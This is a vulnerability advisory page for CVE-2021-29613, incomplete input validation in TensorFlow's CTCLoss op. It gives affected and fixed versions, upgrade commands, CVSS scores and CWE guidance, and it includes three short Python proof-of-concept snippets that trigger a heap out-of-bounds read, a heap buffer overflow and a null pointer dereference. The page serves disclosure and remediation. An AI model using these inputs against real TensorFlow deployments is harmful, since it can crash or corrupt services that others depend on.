Skip to content
Log inStart free trial

GHSA-vvg4-vgrv-xfr7 BIT-tensorflow-2021-29613 CVE-2021-29613 PYSEC-2021-250 PYSEC-2021-541 PYSEC-2021-739

Incomplete validation in `tf.raw_ops.CTCLoss`

Medium PyPI
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.24%
Chance of exploitation in the next 30 days. Higher than 15.15% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-125 Out-of-bounds Read
CWE-665 Improper Initialization
Fix
Available
3 packages have a fixed version

Description

Impact

Incomplete validation in tf.raw_ops.CTCLoss allows an attacker to trigger an OOB read from heap:

import tensorflow as tf

inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)
labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)
labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)
sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)
  
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
                   labels_values=labels_values, sequence_length=sequence_length,
                   preprocess_collapse_repeated=True, ctc_merge_repeated=False,
                   ignore_longer_outputs_than_inputs=True)

An attacker can also trigger a heap buffer overflow:

import tensorflow as tf

inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)
labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)
labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
                   labels_values=labels_values, sequence_length=sequence_length,
                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,
                   ignore_longer_outputs_than_inputs=False)

Finally, an attacker can trigger a null pointer dereference:

import tensorflow as tf

inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)
labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)
labels_values = tf.constant([], shape=[0], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
                   labels_values=labels_values, sequence_length=sequence_length,
                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,
                   ignore_longer_outputs_than_inputs=False)

Patches

We have patched the issue in GitHub commit14607c0707040d775e06b6817325640cb4b5864c followed by GitHub commit 4504a081af71514bb1828048363e6540f797005b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Affected versions

PyPI

PackageVulnerableFixed in
tensorflow
< 2.1.4
2.1.4
tensorflow
>= 2.2.0, < 2.2.3
2.2.3
tensorflow
>= 2.3.0, < 2.3.3
2.3.3
tensorflow
>= 2.4.0, < 2.4.2
2.4.2
tensorflow
< 2.1.4
>= 2.2.0, < 2.2.3
>= 2.3.0, < 2.3.3
>= 2.4.0, < 2.4.2
2.1.4
2.2.3
2.3.3
2.4.2
tensorflow-cpu
< 2.1.4
2.1.4
tensorflow-cpu
>= 2.2.0, < 2.2.3
2.2.3
tensorflow-cpu
>= 2.3.0, < 2.3.3
2.3.3
tensorflow-cpu
>= 2.4.0, < 2.4.2
2.4.2
tensorflow-cpu
< 2.1.4
>= 2.2.0, < 2.2.3
>= 2.3.0, < 2.3.3
>= 2.4.0, < 2.4.2
2.1.4
2.2.3
2.3.3
2.4.2
tensorflow-gpu
< 2.1.4
2.1.4
tensorflow-gpu
>= 2.2.0, < 2.2.3
2.2.3
tensorflow-gpu
>= 2.3.0, < 2.3.3
2.3.3
tensorflow-gpu
>= 2.4.0, < 2.4.2
2.4.2
tensorflow-gpu
< 2.1.4
>= 2.2.0, < 2.2.3
>= 2.3.0, < 2.3.3
>= 2.4.0, < 2.4.2
2.1.4
2.2.3
2.3.3
2.4.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

tensorflow PyPI → 2.1.4

pip
pip install --upgrade "tensorflow>=2.1.4"
poetry
poetry add "tensorflow>=2.1.4"
uv
uv add "tensorflow>=2.1.4"

tensorflow-cpu PyPI → 2.1.4

pip
pip install --upgrade "tensorflow-cpu>=2.1.4"
poetry
poetry add "tensorflow-cpu>=2.1.4"
uv
uv add "tensorflow-cpu>=2.1.4"

tensorflow-gpu PyPI → 2.1.4

pip
pip install --upgrade "tensorflow-gpu>=2.1.4"
poetry
poetry add "tensorflow-gpu>=2.1.4"
uv
uv add "tensorflow-gpu>=2.1.4"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Attack vector
Local
Attack complexity
Low
Attack requirements
Present
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 6.3

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Weakness

CWE-125: Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.
  • Architecture and Design: Use a language that provides appropriate memory abstractions.

CWE-665: Improper Initialization

The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

How to prevent it
  • Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.
  • Architecture and Design: Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.
  • Implementation: Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.
  • Implementation: Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.
  • Implementation: Avoid race conditions (CWE-362) during initialization routines.
  • Build and Compilation: Run or compile your product with settings that generate warnings about uninitialized variables or data.

References

Advisories

Packages

Other links

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-gjh7-xx4r-x345
TensorFlow has segfault in array_ops.upper_bound
High Also affects tensorflow
GHSA-fxgc-95xx-grvq
TensorFlow Denial of Service vulnerability
Medium Also affects tensorflow
GHSA-93vr-9q9m-pj8p
TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch
High Also affects tensorflow
GHSA-qjqc-vqcf-5qvj
TensorFlow vulnerable to seg fault in `tf.raw_ops.Print`
High Also affects tensorflow
GHSA-7jvm-xxmr-v5cw
TensorFlow vulnerable to integer overflow in EditDistance
High Also affects tensorflow
GHSA-64jg-wjww-7c5w
TensorFlow has Null Pointer Error in TensorArrayConcatV2
High Also affects tensorflow
GHSA-6hg6-5c2q-7rcr
TensorFlow has Heap-buffer-overflow in AvgPoolGrad
High Also affects tensorflow
GHSA-558h-mq8x-7q9g
TensorFlow has Null Pointer Error in SparseSparseMaximum
High Also affects tensorflow
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor